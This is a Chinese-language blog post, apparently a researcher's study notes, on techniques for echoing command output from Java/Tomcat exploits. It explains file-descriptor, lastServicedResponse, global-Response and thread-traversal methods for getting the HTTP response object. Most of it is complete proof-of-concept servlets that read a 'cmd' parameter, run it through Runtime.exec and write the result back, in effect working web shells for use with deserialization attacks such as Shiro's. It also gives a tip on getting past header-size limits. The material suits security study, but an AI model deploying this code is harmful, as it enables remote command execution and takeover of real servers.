Java回显技术

Java回显技术

通过文件描述符回显

该回显方法是基于proc/self/fd/i的攻击

分析

在Linux环境下,可以通过文件描述符proc/self/fd/i获取到网络连接,在Java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络进行读写操作,可以釜底抽薪在根源上解决回显问题。简单来说就是利用linux文件描述符实现漏洞回显

如果我们获取到了当前请求对应进程的文件描述符,如果向输出描述符中写入内容,那么就会在回显中显示,从原理上可行,但是我们该如何获得本次请求描述符

解决这个问题就要思考在一次连接请求过程中有什么特殊的东西可通过代码识别出来,从而筛选出对应的请求信息。那么这个特殊的标识应该就是,客户端的访问ip地址了。

我们可以看到,在proc/net/tcp6中存储了大量连接请求

local_address 是服务端的地址和连接端口,remote_address 是远程机器的地址和端口,因此我们可以通过 remote_address 字段筛选出需要的 inode 号。这里的 inode 号会在 /proc/xx/fd/ 中的 socket 一一对应

去到 proc/{进程号}/fd 文件夹下,执行 ll 命令

有了这个对应关系,我们就可以在 /proc/xx/fd/ 目录中筛选出对应inode号的socket,从而获取了文件描述符。整体思路如下:

  1. 通过 client ip 在 /proc/net/tcp6(/proc/net/tcp) 文件中筛选出对应的 inode 号
  2. 通过 inode 号在 /proc/{进程号}/fd/ 中筛选出fd号
  3. 创建 FileDescriptor 对象
  4. 执行命令并向 FileDescriptor 对象输出命令执行结果

Tomcat半通用回显

如果在Java代码执行时,能获取到response对象,则可以直接向response对象中写入命令执行的结果,从而实现回显。因此我们目的就是找到一个可以利用的response对象,思路如下
  • 通过翻阅函数调用栈寻找存储response的类
  • 最好是一个静态变量,这样就不需要去获取实例
  • 使用ThreadLoaca保存response,获取到当前线程的请求信息
  • 修复原有输出,防止报错

分析

为了通用性,我们最好找到一个tomcat中存储着response的类,顺着堆栈一直往回找

从HTTP请求的入口开始往后,request和response几乎就是一路传递,且在内存中均为同一个变量(后面会将初始的req和res封装到了新的req和res中)

这样就代表着,我们只需要获取其中一个类中的response实例即可

根据上述思路,我们找到了ApplicationFilterChain对象中 静态的ThreadLocal保存的Response类型的属性lastServicedResponse

这里的静态代码块在初始时,已经把lastServiceResponse设置为null(WRAP_SAME_OBJECT默认为false)

这里的internalDoFilter方法将当前request和response对象赋值给lastServiceRequest和lastServiced对象的操作,但是需要ApplicationDispatcher.WRAP_SAME_OBJECT的值为true,同时需要两个对象为ThreadLocal

因此这里需要有两个操作

  • 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT值为true,走到if判断中
  • 初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类,默认为null

getWriter重复使用报错

在使用response的getWriter函数时,usingWriter变量会被设置为true。如果在该请求中usingWriter变成了true,那么后面重复使用getWriter方法时就会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//ResponseFacade#getWriter
public PrintWriter getWriter() throws IOException {
PrintWriter writer = this.response.getWriter();
if (this.isFinished()) {
this.response.setSuspended(true);
}

return writer;
}
//Response#getWriter
public PrintWriter getWriter() throws IOException {
if (this.usingOutputStream) {
throw new IllegalStateException(sm.getString("coyoteResponse.getWriter.ise"));
} else {
if (ENFORCE_ENCODING_IN_GET_WRITER) {
this.setCharacterEncoding(this.getCharacterEncoding());
}

this.usingWriter = true;
this.outputBuffer.checkConverter();
if (this.writer == null) {
this.writer = new CoyoteWriter(this.outputBuffer);
}

return this.writer;
}
}

报错如下:getWriter已经被调用过一次

1
java.lang.IllegalStateException: getWriter() has already been called for this response

这里就有两种解决方法:

  • 在调用完getWriter后反射修改usingWriter的值为false
  • 使用getOutputStream代替

实现

实现如下,需要访问两次,第一次为设置ApplicationDispathcer.WRAP_SAME_OBJECT变量为true以及为lastServicedResponse对象进行初始化为ThreadLocal对象;第二次从lastServicedResponse对象中取出response对象进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.echo.demos.web;

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@Controller
public class EvilController {

@RequestMapping("/test")
@ResponseBody
public String IndexController(String input) throws Exception {
try {

Field wrapSameObject = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiers = Field.class.getDeclaredField("modifiers");//获取控制final的字段
modifiers.setAccessible(true);//设置变量为可访问
modifiers.setInt(wrapSameObject, wrapSameObject.getModifiers() & ~Modifier.FINAL);//取消final
wrapSameObject.setAccessible(true);//设置变量为可访问
wrapSameObject.set(null,true);//将WRAP_SAME_OBJECT设置为true

Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");//获取lastServicedResponse字段
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);//取消final
lastServicedResponse.setAccessible(true);//设置变量为可访问

Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");//获取lastServicedRequest字段
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);//取消final
lastServicedRequest.setAccessible(true);//设置变量为可访问

ThreadLocal<ServletResponse> servletResponseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);//获取静态变量lastServicedRequest
if(servletResponseThreadLocal == null) {
lastServicedResponse.set(null,new ThreadLocal<>());//初始化lastServicedResponse
lastServicedRequest.set(null,new ThreadLocal<>());//初始化lastServicedRequest
}else if(input!=null){
ServletResponse servletResponse = servletResponseThreadLocal.get();//获取repsonse
PrintWriter writer = servletResponse.getWriter();//获取writer

Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//设置变量为可访问
Response response = (Response) responseField.get(servletResponse);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//设置变量为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false

boolean isLinux = true;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmd = isLinux?new String[]{"sh","-c",input}:new String[]{"cmd.exe","/c",input};

InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();//获取命令执行输入流
// 方法一:使用 outputStream.write() 方法输出
// responseFacade.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// responseFacade.flushBuffer();
//方法二:使用 writer.writeA() 方法输出
Scanner scanner = new Scanner(stream).useDelimiter("\\A");
String s = scanner.hasNext() ? scanner.next() : "";
writer.write(s);
writer.flush();
}
}
catch (Exception e) {
e.printStackTrace();
}
return "OK";
}
}

大致流程图如下(个人理解,有问题请大佬指出)

局限性

这个方法有一些局限性,如果漏洞在ApplicationFilterChain进行lastServicedResponse.set(response);之前触发,就不会将我们的执行结果写入lastServicedResponse当中,那么我们在获取lastServicedResponse之中的response时就无法获取Tomcat Response进行回显

Shiro反序列化漏洞就遇到了这种情况,shiro的rememberMe功能是shiro自己实现的一个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);//Shiro漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);//Tomcat回显关键点
}
if (...){
...
} else {
servlet.service(request, response);//servlet调用点
}
} catch (...) {
...
} finally {
...
}

可以看到,首先获取所有Filter对当前请求进行拦截,通过后,再进行lastServicedResponse.set(response);操作,然后再进行servlet.service(request, response);

rememberMe功能是ShiroFilter的一个模块,在这部分逻辑中执行时,就会触发反序列化漏洞,还没进入到lastServicedResponse.set(response);的操作中,此时的lastServicedResponse内容就是空,从而也就获取不到我们想要的response

通过全局存储 Response回显

上述半通用回显,是通过反射修改值,从而改变了Tomcat的流程,使得最终可以在ApplicationFilterChain类的lastServicedResponseField对象中去取到response对象,但是依赖于Tomcat本身代码的处理流程,注入点在写入response之前就不可以了

而现在这种方法是不再寻求改变代码流程,而是找找有没有Tomcat全局存储的request或response

分析

寻找全局Response

我们知道,Tomcat处理HTTP请求的时候流程入口在org.apache.coyote.http11.Http11Processor类中,该类继承了AbstractProcessor

1
public class Http11Processor extends AbstractProcessor

AbstractProcessor类中,存在着两个属性request和response,且这两个属性都被final所修饰,说明这个值在赋值之后是无法被修改的

AbstractProcessor类的构造函数中,就对request和response赋值了,那么我们只需要获取到Http11Processor类就可以拿到request和response

但是这里的request和response并不是静态变量,无法直接从类中提取出来,需要从对象里面获取。这时我们就需要去找存储Http11ProcessorHttp11Processor.request/response的变量

往回翻找调用方法,找到AbstractProtcol的内部类ConnectionHandler#process中有register(processor);这么一个操作,用register方法对Http11Processor进行操作

跟进到register方法中,可以看到rp是从Http11Processor中获取的RequestInfo类,rp中包含着request对象,而request对象中包含response对象,随后就对rp调用了setGlobalProcessor(global)

跟进setGlobalProcessor(global)中,可以看到这里把RequestInfo对象注册到了global中,这个global是AbstractProtcol内部类ConnectionHandler的一个属性

那么我们只要获取到global对象就可以获取到里面的response对象了,获取链如下

1
AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

但是该global仍然不是static,因此我们还要找存储AbstractProtocol类或AbstractProtocol子类的参数

在调用栈中存在CoyoteAdapter类,其中connector对象的protocolHandler属性为Http11NioProtocol,http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler

获取链如下

1
connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global-->RequestInfo --> req --> response

现在最重要的问题就是,该如何去获取这个connector

在Tomcat的启动过程中会创建connector对象,并且通过addConnector方法放入connectors

跟进到StandardService#addConnector方法中,该方法将传入的connector对象放到了StandardService对象的connectors[]数组中

现在获取链就变成了:

1
StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象。

关键

接下来的关键就在于,我们该如何获取StandardService的对象

我们回顾一下tomcat的架构

Service是Tomcat的最外层对象了,如果再往外就会涉及到Tomcat的类加载机制。Tomcat的类加载机制并不是传统双亲委派机制,因为双亲委派机制不适用于存在多个WebAPP的情况

假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

与双亲委派机制相反,Tomcat加载机制为:WebAppClassLoader负责加载本身的目录下的class文件,加载不到时,才会交给CommonClassLoader加载

在SpringBoot项目中,alt+f8 计算看下Thread.currentThread().getContextClassLoader() 中的内容,可以看到再类加载器中,就包含了我们的StandardService对象。

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

在整个调用链中,有些变量可以get方法获取,对于私有和保护属性的变量我们只能通过反射来获取了

实现

对于不同版本的Tomcat获取方式不同,Tomcat8/9或者更低的版本,可以直接从webappClassLoaderBase.getResources().getContext()中获取

其实就是response经过了层层的封装,我们需要一层一层的剥开他的心~,对于存在getter方法的使用getter即可,对于私有保护属性的,使用反射获取即可

自写POC

POC如下(自己写的比较杂乱,算是让自己了解一遍流程吧)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@WebServlet("/index")
public class HelloServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) {
try{
String cmd = request.getParameter("cmd");

if (cmd != null && !cmd.equals("")) {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context standardContext1 = webappClassLoaderBase.getResources().getContext();
ApplicationContext applicationContext = (ApplicationContext) getField(standardContext1, "context");
Service service = (Service) getField(applicationContext, "service");
Connector[] connectors = (Connector[]) getField(service, "connectors");
ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();

Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal();
ArrayList<RequestInfo> processors = (ArrayList<RequestInfo>) getField(global, "processors");

Field reqField = RequestInfo.class.getDeclaredField("req");
reqField.setAccessible(true);

for (RequestInfo processor : processors) {
Request requestA = (Request) reqField.get(processor);
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) requestA.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
java.io.Writer w = response.getWriter();//获取Writer
Field usingWriter = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化

InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(stream).useDelimiter("\\A");
String s = scanner.hasNext() ? scanner.next() : "";
w.write(s);
w.flush();
}
}
}catch (Exception e){
e.printStackTrace();
}
}

public <T> Object getField(T obj , String fieldName) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
Object value = declaredField.get(obj);
return value;
}
}

拿来主义

相比于其他师傅写的,我的实在是太杂乱了,也可能是因为学的不精吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

// 适用于 Tomcat8,获取全局 response 进行攻击

@WebServlet(urlPatterns = "/servletAttack")
public class GlobalContextAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取Tomcat ClassLoader context
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

// 获取standardContext的context
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);//将变量设置为可访问
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext) context.get(standardContext);

// 获取ApplicationContext的service
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);//将变量设置为可访问
StandardService standardService = (StandardService) service.get(ApplicationContext);

// 获取StandardService的connectors
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);//将变量设置为可访问
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) connectorsField.get(standardService);

// 获取AbstractProtocol的handler
org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);

// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request )reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = ( org.apache.catalina.connector.Request)coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write("1111");
w.flush();//刷新
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

Tomcat版本问题

我们上述的回显方式只适用于Tomcat8/9当中,但是有没有一种方式能够通杀呢?

回顾我们的获取链

我们前面做的一些操作,就是为了获取AbstractProtocol$ConnectoinHandler该类,接下来我们也可以去寻找其他地方,该地方也存储着AbstractProtocol$ConnectoinHandler

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

分析

org.apache.tomcat.util.net.AbstractEndpoint中的handler是AbstractEndpointHandler自定义的,同时Handler的实现类是AbstractProtocol$ConnectoinHandler

因为 AbstractEndpoint 是抽象类,抽象类不能被实例化,所以我们去寻找其对应的子类,只要获取到对应的子类后,我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

这里我们看到他有四个子类

这里我们来看到 NioEndpoint 类。NioEndpoint 是主要负责接受和处理 socket 的且其中实现了socket请求监听线程Acceptor、socket NIO poller线程、以及请求处理线程池

此时有一下两种方法从Thread.currentThread().getThreadGroup() 获取的线程中遍历找出我们需要的NioEndpoint 对象。

通过Acceptor获取NioEndpoint

遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象

利用链如下

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
通过poller获取NioEndpoint

遍历线程,获取线程中的target属性,如果target属性是 NioEndpointPoller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocol$ConnectoinHandler

利用链如下

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

实现

上面两种方式大同小异,我们使用第一种方法举例

和我们低版本Tomcat的利用相类似,只是在获取AbstractProtocol$ConnectoinHandler的方式上有所不同

自写POC
自己写的方式还是太还,思路太不清晰了,还是别的师傅的清晰
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
@WebServlet("/test")
public class TomcatServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) {
try{
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.equals("")) {

ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);

if (target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(endpoint);

RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal();
ArrayList<RequestInfo> processors = (ArrayList<RequestInfo>) getField(global, "processors");

Field reqField = RequestInfo.class.getDeclaredField("req");
reqField.setAccessible(true);

for (RequestInfo processor : processors) {
Request requestA = (Request) reqField.get(processor);
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) requestA.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
java.io.Writer w = response.getWriter();//获取Writer
Field usingWriter = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化

InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(stream).useDelimiter("\\A");
String s = scanner.hasNext() ? scanner.next() : "";
w.write(s);
w.flush();
}
break;
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}

public <T> Object getField(T obj , String fieldName) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
Object value = declaredField.get(obj);
return value;
}
}

拿来主义
Drunkbaby还是太全能了呜呜呜,对于POC的编写我也得加油了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
@WebServlet("/AllTomcat")  
public class AllTomcatVersionAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取thread数组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);


// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

// 从connectorRequest 中获取参数并执行
String cmd = connectorRequest.getParameter("cmd");
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一
// connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// connectorResponse.flushBuffer();

// 方法二
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write(res);
w.flush();//刷新
}
}
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

不足

利用链太长了,POC超长,可能会存在org.apache.coyote.http11.AbstractHttp11Protocol 的maxHeaderSize的长度限制,可以通过修改maxHeaderSize来绕过限制。操作复杂较为复杂,可能有存在性能问题,整体来讲该方法不受各种配置的影响,通用型较强。